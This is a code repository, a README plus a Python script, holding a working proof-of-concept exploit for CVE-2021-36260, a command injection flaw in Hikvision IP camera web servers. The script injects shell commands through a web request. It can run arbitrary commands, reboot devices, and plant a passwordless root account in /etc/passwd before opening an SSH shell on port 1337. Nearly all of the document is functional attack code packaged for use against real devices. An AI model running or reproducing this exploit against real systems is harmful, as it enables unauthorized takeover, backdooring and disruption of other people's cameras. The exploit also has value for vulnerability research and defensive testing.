├── README.md └── CVE-2021-36260.py /README.md: -------------------------------------------------------------------------------- 1 | # CVE-2021-36260 2 | CVE-2021-36260 POC command injection vulnerability in the web server of some Hikvision product. Due to the insufficient input validation, attacker can exploit the vulnerability to launch a command injection attack by sending some messages with malicious commands. 3 | 4 | Exploit Title: Hikvision Web Server Build 210702 - Command Injection 5 | 6 | Exploit Author: bashis 7 | 8 | Vendor Homepage: https://www.hikvision.com/ 9 | 10 | Version: 1.0 11 | 12 | CVE: CVE-2021-36260 13 | 14 | Reference: https://watchfulip.github.io/2021/09/18/Hikvision-IP-Camera-Unauthenticated-RCE.html 15 | 16 | # All credit to Watchful_IP 17 | 18 | 19 | Note: 20 | 1) This code will _not_ verify if remote is Hikvision device or not. 21 | 2) Most of my interest in this code has been concentrated on how to 22 | reliably detect vulnerable and/or exploitable devices. 23 | Some devices are easy to detect, verify and exploit the vulnerability, 24 | other devices may be vulnerable but not so easy to verify and exploit. 25 | I think the combined verification code should have very high accuracy. 26 | 3) 'safe check' (--check) will try write and read for verification 27 | 'unsafe check' (--reboot) will try reboot the device for verification 28 | 29 | [Examples] 30 | Safe vulnerability/verify check: 31 | $./CVE-2021-36260.py --rhost 192.168.57.20 --rport 8080 --check 32 | 33 | Safe and unsafe vulnerability/verify check: 34 | (will only use 'unsafe check' if not verified with 'safe check') 35 | $./CVE-2021-36260.py --rhost 192.168.57.20 --rport 8080 --check --reboot 36 | 37 | Unsafe vulnerability/verify check: 38 | $./CVE-2021-36260.py --rhost 192.168.57.20 --rport 8080 --reboot 39 | 40 | Launch and connect to SSH shell: 41 | $./CVE-2021-36260.py --rhost 192.168.57.20 --rport 8080 --shell 42 | 43 | Execute command: 44 | $./CVE-2021-36260.py --rhost 192.168.57.20 --rport 8080 --cmd "ls -l" 45 | 46 | Execute blind command: 47 | $./CVE-2021-36260.py --rhost 192.168.57.20 --rport 8080 --cmd_blind "reboot" 48 | 49 | -------------------------------------------------------------------------------- /CVE-2021-36260.py: -------------------------------------------------------------------------------- 1 | # Exploit Title: Hikvision Web Server Build 210702 - Command Injection 2 | # Exploit Author: bashis 3 | # Vendor Homepage: https://www.hikvision.com/ 4 | # Version: 1.0 5 | # CVE: CVE-2021-36260 6 | # Reference: https://watchfulip.github.io/2021/09/18/Hikvision-IP-Camera-Unauthenticated-RCE.html 7 | 8 | # All credit to Watchful_IP 9 | 10 | #!/usr/bin/env python3 11 | 12 | """ 13 | Note: 14 | 1) This code will _not_ verify if remote is Hikvision device or not. 15 | 2) Most of my interest in this code has been concentrated on how to 16 | reliably detect vulnerable and/or exploitable devices. 17 | Some devices are easy to detect, verify and exploit the vulnerability, 18 | other devices may be vulnerable but not so easy to verify and exploit. 19 | I think the combined verification code should have very high accuracy. 20 | 3) 'safe check' (--check) will try write and read for verification 21 | 'unsafe check' (--reboot) will try reboot the device for verification 22 | 23 | [Examples] 24 | Safe vulnerability/verify check: 25 | $./CVE-2021-36260.py --rhost 192.168.57.20 --rport 8080 --check 26 | 27 | Safe and unsafe vulnerability/verify check: 28 | (will only use 'unsafe check' if not verified with 'safe check') 29 | $./CVE-2021-36260.py --rhost 192.168.57.20 --rport 8080 --check --reboot 30 | 31 | Unsafe vulnerability/verify check: 32 | $./CVE-2021-36260.py --rhost 192.168.57.20 --rport 8080 --reboot 33 | 34 | Launch and connect to SSH shell: 35 | $./CVE-2021-36260.py --rhost 192.168.57.20 --rport 8080 --shell 36 | 37 | Execute command: 38 | $./CVE-2021-36260.py --rhost 192.168.57.20 --rport 8080 --cmd "ls -l" 39 | 40 | Execute blind command: 41 | $./CVE-2021-36260.py --rhost 192.168.57.20 --rport 8080 --cmd_blind "reboot" 42 | 43 | $./CVE-2021-36260.py -h 44 | [*] Hikvision CVE-2021-36260 45 | [*] PoC by bashis (2021) 46 | usage: CVE-2021-36260.py [-h] --rhost RHOST [--rport RPORT] [--check] 47 | [--reboot] [--shell] [--cmd CMD] 48 | [--cmd_blind CMD_BLIND] [--noverify] 49 | [--proto {http,https}] 50 | 51 | optional arguments: 52 | -h, --help show this help message and exit 53 | --rhost RHOST Remote Target Address (IP/FQDN) 54 | --rport RPORT Remote Target Port 55 | --check Check if vulnerable 56 | --reboot Reboot if vulnerable 57 | --shell Launch SSH shell 58 | --cmd CMD execute cmd (i.e: "ls -l") 59 | --cmd_blind CMD_BLIND 60 | execute blind cmd (i.e: "reboot") 61 | --noverify Do not verify if vulnerable 62 | --proto {http,https} Protocol used 63 | $ 64 | """ 65 | 66 | import os 67 | import argparse 68 | import time 69 | 70 | import requests 71 | from requests import packages 72 | from requests.packages import urllib3 73 | from requests.packages.urllib3 import exceptions 74 | 75 | 76 | class Http(object): 77 | def __init__(self, rhost, rport, proto, timeout=60): 78 | super(Http, self).__init__() 79 | 80 | self.rhost = rhost 81 | self.rport = rport 82 | self.proto = proto 83 | self.timeout = timeout 84 | 85 | self.remote = None 86 | self.uri = None 87 | 88 | """ Most devices will use self-signed certificates, suppress any warnings """ 89 | requests.packages.urllib3.disable_warnings(requests.packages.urllib3.exceptions.InsecureRequestWarning) 90 | 91 | self.remote = requests.Session() 92 | 93 | self._init_uri() 94 | 95 | self.remote.headers.update({ 96 | 'Host': f'{self.rhost}:{self.rport}', 97 | 'Accept': '*/*', 98 | 'X-Requested-With': 'XMLHttpRequest', 99 | 'Content-Type': 'application/x-www-form-urlencoded; charset=UTF-8', 100 | 'Accept-Encoding': 'gzip, deflate', 101 | 'Accept-Language': 'en-US,en;q=0.9,sv;q=0.8', 102 | }) 103 | """ 104 | self.remote.proxies.update({ 105 | # 'http': 'http://127.0.0.1:8080', 106 | }) 107 | """ 108 | 109 | def send(self, url=None, query_args=None, timeout=5): 110 | 111 | if query_args: 112 | """Some devices can handle more, others less, 22 bytes seems like a good compromise""" 113 | if len(query_args) > 22: 114 | print(f'[!] Error: Command "{query_args}" to long ({len(query_args)})') 115 | return None 116 | 117 | """This weird code will try automatically switch between http/https 118 | and update Host 119 | """ 120 | try: 121 | if url and not query_args: 122 | return self.get(url, timeout) 123 | else: 124 | data = self.put('/SDK/webLanguage', query_args, timeout) 125 | except requests.exceptions.ConnectionError: 126 | self.proto = 'https' if self.proto == 'http' else 'https' 127 | self._init_uri() 128 | try: 129 | if url and not query_args: 130 | return self.get(url, timeout) 131 | else: 132 | data = self.put('/SDK/webLanguage', query_args, timeout) 133 | except requests.exceptions.ConnectionError: 134 | return None 135 | except requests.exceptions.RequestException: 136 | return None 137 | except KeyboardInterrupt: 138 | return None 139 | 140 | """302 when requesting http on https enabled device""" 141 | 142 | if data.status_code == 302: 143 | redirect = data.headers.get('Location') 144 | self.uri = redirect[:redirect.rfind('/')] 145 | self._update_host() 146 | if url and not query_args: 147 | return self.get(url, timeout) 148 | else: 149 | data = self.put('/SDK/webLanguage', query_args, timeout) 150 | 151 | return data 152 | 153 | def _update_host(self): 154 | if not self.remote.headers.get('Host') == self.uri[self.uri.rfind('://') + 3:]: 155 | self.remote.headers.update({ 156 | 'Host': self.uri[self.uri.rfind('://') + 3:], 157 | }) 158 | 159 | def _init_uri(self): 160 | self.uri = '{proto}://{rhost}:{rport}'.format(proto=self.proto, rhost=self.rhost, rport=str(self.rport)) 161 | 162 | def put(self, url, query_args, timeout): 163 | """Command injection in the tag""" 164 | query_args = '' \ 165 | f'$({query_args})' 166 | return self.remote.put(self.uri + url, data=query_args, verify=False, allow_redirects=False, timeout=timeout) 167 | 168 | def get(self, url, timeout): 169 | return self.remote.get(self.uri + url, verify=False, allow_redirects=False, timeout=timeout) 170 | 171 | 172 | def check(remote, args): 173 | """ 174 | status_code == 200 (OK); 175 | Verified vulnerable and exploitable 176 | status_code == 500 (Internal Server Error); 177 | Device may be vulnerable, but most likely not 178 | The SDK webLanguage tag is there, but generate status_code 500 when language not found 179 | I.e. Exist: en (200), not exist: EN (500) 180 | (Issue: Could also be other directory than 'webLib', r/o FS etc...) 181 | status_code == 401 (Unauthorized); 182 | Defiantly not vulnerable 183 | """ 184 | if args.noverify: 185 | print(f'[*] Not verifying remote "{args.rhost}:{args.rport}"') 186 | return True 187 | 188 | print(f'[*] Checking remote "{args.rhost}:{args.rport}"') 189 | 190 | data = remote.send(url='/', query_args=None) 191 | if data is None: 192 | print(f'[-] Cannot establish connection to "{args.rhost}:{args.rport}"') 193 | return None 194 | print('[i] ETag:', data.headers.get('ETag')) 195 | 196 | data = remote.send(query_args='>webLib/c') 197 | if data is None or data.status_code == 404: 198 | print(f'[-] "{args.rhost}:{args.rport}" do not looks like Hikvision') 199 | return False 200 | status_code = data.status_code 201 | 202 | data = remote.send(url='/c', query_args=None) 203 | if not data.status_code == 200: 204 | """We could not verify command injection""" 205 | if status_code == 500: 206 | print(f'[-] Could not verify if vulnerable (Code: {status_code})') 207 | if args.reboot: 208 | return check_reboot(remote, args) 209 | else: 210 | print(f'[+] Remote is not vulnerable (Code: {status_code})') 211 | return False 212 | 213 | print('[!] Remote is verified exploitable') 214 | return True 215 | 216 | 217 | def check_reboot(remote, args): 218 | """ 219 | We sending 'reboot', wait 2 sec, then checking with GET request. 220 | - if there is data returned, we can assume remote is not vulnerable. 221 | - If there is no connection or data returned, we can assume remote is vulnerable. 222 | """ 223 | if args.check: 224 | print('[i] Checking if vulnerable with "reboot"') 225 | else: 226 | print(f'[*] Checking remote "{args.rhost}:{args.rport}" with "reboot"') 227 | remote.send(query_args='reboot') 228 | time.sleep(2) 229 | if not remote.send(url='/', query_args=None): 230 | print('[!] Remote is vulnerable') 231 | return True 232 | else: 233 | print('[+] Remote is not vulnerable') 234 | return False 235 | 236 | 237 | def cmd(remote, args): 238 | if not check(remote, args): 239 | return False 240 | data = remote.send(query_args=f'{args.cmd}>webLib/x') 241 | if data is None: 242 | return False 243 | 244 | data = remote.send(url='/x', query_args=None) 245 | if data is None or not data.status_code == 200: 246 | print(f'[!] Error execute cmd "{args.cmd}"') 247 | return False 248 | print(data.text) 249 | return True 250 | 251 | 252 | def cmd_blind(remote, args): 253 | """ 254 | Blind command injection 255 | """ 256 | if not check(remote, args): 257 | return False 258 | data = remote.send(query_args=f'{args.cmd_blind}') 259 | if data is None or not data.status_code == 500: 260 | print(f'[-] Error execute cmd "{args.cmd_blind}"') 261 | return False 262 | print(f'[i] Try execute blind cmd "{args.cmd_blind}"') 263 | return True 264 | 265 | 266 | def shell(remote, args): 267 | if not check(remote, args): 268 | return False 269 | data = remote.send(url='/N', query_args=None) 270 | 271 | if data.status_code == 404: 272 | print(f'[i] Remote "{args.rhost}" not pwned, pwning now!') 273 | data = remote.send(query_args='echo -n P::0:0:W>N') 274 | if data.status_code == 401: 275 | print(data.headers) 276 | print(data.text) 277 | return False 278 | remote.send(query_args='echo :/:/bin/sh>>N') 279 | remote.send(query_args='cat N>>/etc/passwd') 280 | remote.send(query_args='dropbear -R -B -p 1337') 281 | remote.send(query_args='cat N>webLib/N') 282 | else: 283 | print(f'[i] Remote "{args.rhost}" already pwned') 284 | 285 | print(f'[*] Trying SSH to {args.rhost} on port 1337') 286 | os.system(f'stty echo; stty iexten; stty icanon; \ 287 | ssh -o StrictHostKeyChecking=no -o LogLevel=error -o UserKnownHostsFile=/dev/null \ 288 | P@{args.rhost} -p 1337') 289 | 290 | 291 | def main(): 292 | print('[*] Hikvision CVE-2021-36260\n[*] PoC by bashis (2021)') 293 | 294 | parser = argparse.ArgumentParser() 295 | parser.add_argument('--rhost', required=True, type=str, default=None, help='Remote Target Address (IP/FQDN)') 296 | parser.add_argument('--rport', required=False, type=int, default=80, help='Remote Target Port') 297 | parser.add_argument('--check', required=False, default=False, action='store_true', help='Check if vulnerable') 298 | parser.add_argument('--reboot', required=False, default=False, action='store_true', help='Reboot if vulnerable') 299 | parser.add_argument('--shell', required=False, default=False, action='store_true', help='Launch SSH shell') 300 | parser.add_argument('--cmd', required=False, type=str, default=None, help='execute cmd (i.e: "ls -l")') 301 | parser.add_argument('--cmd_blind', required=False, type=str, default=None, help='execute blind cmd (i.e: "reboot")') 302 | parser.add_argument( 303 | '--noverify', required=False, default=False, action='store_true', help='Do not verify if vulnerable' 304 | ) 305 | parser.add_argument( 306 | '--proto', required=False, type=str, choices=['http', 'https'], default='http', help='Protocol used' 307 | ) 308 | args = parser.parse_args() 309 | 310 | remote = Http(args.rhost, args.rport, args.proto) 311 | 312 | try: 313 | if args.shell: 314 | shell(remote, args) 315 | elif args.cmd: 316 | cmd(remote, args) 317 | elif args.cmd_blind: 318 | cmd_blind(remote, args) 319 | elif args.check: 320 | check(remote, args) 321 | elif args.reboot: 322 | check_reboot(remote, args) 323 | else: 324 | parser.parse_args(['-h']) 325 | except KeyboardInterrupt: 326 | return False 327 | 328 | 329 | if __name__ == '__main__': 330 | main() 331 | 332 | --------------------------------------------------------------------------------